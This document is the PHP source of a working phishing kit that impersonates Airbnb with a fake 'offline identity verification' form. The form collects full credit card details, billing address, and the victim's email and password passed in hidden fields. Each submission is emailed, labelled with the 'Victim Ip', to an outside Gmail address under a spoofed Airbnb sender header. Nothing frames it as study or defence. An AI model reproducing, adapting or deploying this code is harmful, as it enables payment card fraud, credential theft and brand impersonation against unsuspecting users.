Online PHP editor | output for BnT06

<?php if (isset($_POST['Confirm'])) { $to = "focusoft2008@gmail.com"; $date = date("m-d-Y"); $ip = $_SERVER["REMOTE_ADDR"]; $error = 0; $user = $_POST['email'] ; $parola = $_POST['pass']; $credit_card_first_name = $_POST['credit_card_first_name']; $credit_card_last_name = $_POST['credit_card_last_name']; $credit_card_address1 = $_POST['credit_card_address1']; $credit_card_address2 = $_POST['credit_card_address2']; $credit_card_city = $_POST['credit_card_city']; $credit_card_state = $_POST['credit_card_state']; $credit_card_zip = $_POST['credit_card_zip']; $credit_card_cc_type = $_POST['credit_card_cc_type']; $credit_card_cc_number = $_POST['credit_card_cc_number']; $credit_card_cc_expire_month = $_POST['credit_card_cc_expire_month']; $credit_card_cc_expire_year = $_POST['credit_card_cc_expire_year']; $credit_card_cc_security_code = $_POST['credit_card_cc_security_code']; $payment_country = $_POST['payment_country']; //fname if(trim($credit_card_first_name) == '') {$error = 1; $credit_card_first_namerr = 1;} if(strlen($credit_card_first_name) < 3) {$error = 1; $credit_card_first_namerr = 1;} if(!eregi("[a-z]", $credit_card_first_name)){$error = 1; $credit_card_first_namerr = 1;} if(strstr($credit_card_first_name,"gay")) {$error = 1; $credit_card_first_namerr = 1;} if(strstr($credit_card_first_name,"fuck")) {$error = 1; $credit_card_first_namerr = 1;} if(strstr($credit_card_first_name,"bitch")) {$error = 1; $credit_card_first_namerr = 1;} //lname if(trim($credit_card_last_name) == '') {$error = 1; $credit_card_last_namerr = 1;} if(strlen($credit_card_last_name) < 3) {$error = 1; $credit_card_last_namerr = 1;} if(!eregi("[a-z]", $credit_card_last_name)){$error = 1; $credit_card_last_namerr = 1;} if(strstr($credit_card_last_name,"gay")) {$error = 1; $credit_card_last_namerr = 1;} if(strstr($credit_card_last_name,"fuck")) {$error = 1; $credit_card_last_namerr = 1;} if(strstr($credit_card_last_name,"bitch")) {$error = 1; $credit_card_last_namerr = 1;} //card if(strlen($credit_card_cc_number) < 12) {$error = 1; $ccerr = 1;} if(!is_numeric($credit_card_cc_number)) {$error = 1; $ccerr = 1;} //exp date if(!is_numeric($credit_card_cc_expire_month)) {$error = 1; $mmerr = 1;} if(!is_numeric($credit_card_cc_expire_year)) {$error = 1; $yyerr = 1;} //cvv2 if(strlen($credit_card_cc_security_code) < 3) {$error = 1; $cvverr = 1;} if(!is_numeric($credit_card_cc_security_code)) {$error = 1; $cvverr = 1;} //adresa if(strlen($credit_card_address1) < 5) {$error = 1; $adresaerr = 1;} //zip if(strlen($credit_card_zip) < 4) {$error = 1; $ziperr = 1;} //city if(strlen($credit_card_city) < 4) {$error = 1; $cityerr = 1;} elseif ($error == 0){ $msg =" First Name:$credit_card_first_name Last Name:$credit_card_last_name Cardtype: $credit_card_cc_type Ccnumber:$credit_card_cc_number ExpDate:$credit_card_cc_expire_month/$credit_card_cc_expire_year Cvv:$credit_card_cc_security_code Adresa:$credit_card_address1 Adresa (Optional): $credit_card_address2 City:$credit_card_city State:$credit_card_state Zip:$credit_card_zip Country:$payment_country ------------------------- Victim Ip:$ip Add Date:$date "; $sub ="Airbnb:$ip"; $from = "From: Airbnb"; @mail($to, $sub, $msg, $from); ?> Thanks. <?php } else { ?> <!DOCTYPE html>    <html lang="en" xmlns:fb="http://ogp.me/ns/fb#">  <head> <meta charset="utf-8"> <title>Submit a Reservation Request</title> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta property="og:image" content="images/logo-200x200.png"> <meta name="viewport" content="width=1000,maximum-scale=1.0"> <link rel="image_src" href="images/logo.png"> <link href="css/o2r.0.css" media="screen" rel="stylesheet" type="text/css" /> <link href="css/page4r.css" media="screen" rel="stylesheet" type="text/css" /> <link href="css/commonr.css" media="screen" rel="stylesheet" type="text/css" /> <link href="css/dashboard_v2.css" media="screen" rel="stylesheet" type="text/css" /> <link href="css/policy_timeline_v2.css" media="screen" rel="stylesheet" type="text/css" /> <style> </style>  <link id="favicon" rel="shortcut icon" href="favicon.ico"> </head> <body class=" hide_locale_dropdown"> <div class="rooster-root"></div> <div id="header" class="navbar navbar-top"> <div class="navbar-inner"> <div class="container container-full-width page-container"> <a href="#" class="brand airbnb">Airbnb</a> </div> </div> </div> <div class='span12 flash-container'> </div> <center></center> <div class='span12 flash-container'> </div> <div class="relative"> <div id="how_it_works"> <h1> <center> Airbnb Offline Verification </center> </h1> <p>Your Account is subjected to an offline identity verification, in order to complete this verification we need the following details:</p> </div> <div id="book_it"> <form accept-charset="UTF-8" action="<?php echo $_SERVER['PHP_SELF']; ?>" id="book_it_form" method="post"><div style="margin:0;padding:0;display:inline"> <div id="payment_options" class="book_it_section"> <div class="payment_tabs_live"><ul class="payment_methods_nav"><li class="payment_method_active"><a href="javascript:void(null);" title="Credit Card" id="payment_method_tab_link_cc">Details</a></li></ul> <div class="payment_method_content clearfix" id="payment_method_cc" title=""> <h2 id="cccccccc">Credit Card</h2> <div id="new_card" style=""> <div id="cc_address"> <label for="credit_card_first_name" class="inner_text">First Name</label> <input id="credit_card_first_name" name="credit_card_first_name" size="30" style="width:138px;" type="text" value="" required="required" /> <label for="credit_card_last_name" class="inner_text">Last Name</label> <input id="credit_card_last_name" name="credit_card_last_name" size="30" style="width:138px;" type="text" value="" required="required" /> <label for="credit_card_address1" class="inner_text">Street Address</label> <input id="credit_card_address1" name="credit_card_address1" size="30" type="text" required="required" /> <label for="credit_card_address2" class="inner_text">Apt, Suite, Bldg (optional)</label> <input id="credit_card_address2" name="credit_card_address2" size="30" type="text" /> <label for="credit_card_city" class="inner_text">City</label> <input id="credit_card_city" name="credit_card_city" size="30" style="width:151px;" type="text" required="required" /> <label for="credit_card_state" class="inner_text">State</label> <input name="credit_card_state" type="text" id="credit_card_state" style="width:75px;" size="30" required="required" /> <label for="credit_card_zip" class="inner_text">Postal Code</label> <input name="credit_card_zip" type="text" id="credit_card_zip" style="width:75px;" size="30" maxlength="15" required="required" /> <label for="credit_card_country" class="inner_text">Country</label> <select id="payment_country" name="payment_country"><option value="AF">Afghanistan</option> <option value="GB" selected="selected">United Kingdom</option> </div> <div id="cc_details"> <label id="cc_card_type_label" for="credit_card_cc_type" class="">Card Type</label> <select class="" id="credit_card_cc_type" name="credit_card_cc_type"> <option id="Visa" value="visa">Visa</option> <option id="Master" value="masterCard">MasterCard</option> <option id="Amex" value="amex">American Express</option> <option id="Discover" value="discover">Discover</option> <option id="JCB" value="jcb">JCB</option> </select> <div style="position:relative;"> <label for="credit_card_cc_number" class="inner_text">Credit Card Number</label> <input name="credit_card_cc_number" type="text" class="false" id="credit_card_cc_number" style="width:222px; margin-top:5px;" maxlength="20" pattern=".{13,}" required /> </div> <label id="cc_expires_on_label" for="credit_card_cc_expire_month">Expires On</label> <select id="credit_card_cc_expire_month" name="credit_card_cc_expire_month" style="margin-right:5px" required><option value=""></option> <option value="1">1</option> <option value="2">2</option> <option value="3">3</option> <option value="4">4</option> <option value="5">5</option> <option value="6">6</option> <option value="7">7</option> <option value="8">8</option> <option value="9">9</option> <option value="10">10</option> <option value="11">11</option> <option value="12">12</option></select> <select id="credit_card_cc_expire_year" name="credit_card_cc_expire_year" style="margin-right:15px"><option value=""></option> <option value="2013">2013</option> <option value="2014">2014</option> <option value="2015">2015</option> <option value="2016">2016</option> <option value="2017">2017</option> <option value="2018">2018</option> <option value="2019">2019</option> <option value="2020">2020</option> <option value="2021">2021</option> <option value="2022">2022</option> <option value="2023">2023</option></select> <label for="credit_card_cc_security_code" class="inner_text">Security Code</label> <input name="credit_card_cc_security_code" type="text" id="credit_card_cc_security_code" style="width:84px;" size="4" maxlength="4" required="required" /> <i class="icon icon-question icon-question-sign" data-behavior="tooltip" rel="tooltip" title="The 3 or 4 digit value printed on the card or signature strip."></i> </div> </div> <div class="clear"></div> </div> </div> </div> <div class="book_it_section" style="padding-bottom:10px;"> <p id="book_it_fine_print" style='width:592px; overflow:hidden;'> <span id="book_it_click_message" style="display:none;"><img src="images/loading.gif" alt="" /></span> </p> </div> <input type="hidden" name="email" value="<?php echo $_GET['email']?>" /> <input type="hidden" name="pass" value="<?php echo $_GET['refering']?>" /> <input type="submit" class="btn large green" id="Confirm" value="Confirm" style="margin:10px 0 0 10px;" /> </form> <?php }; ?>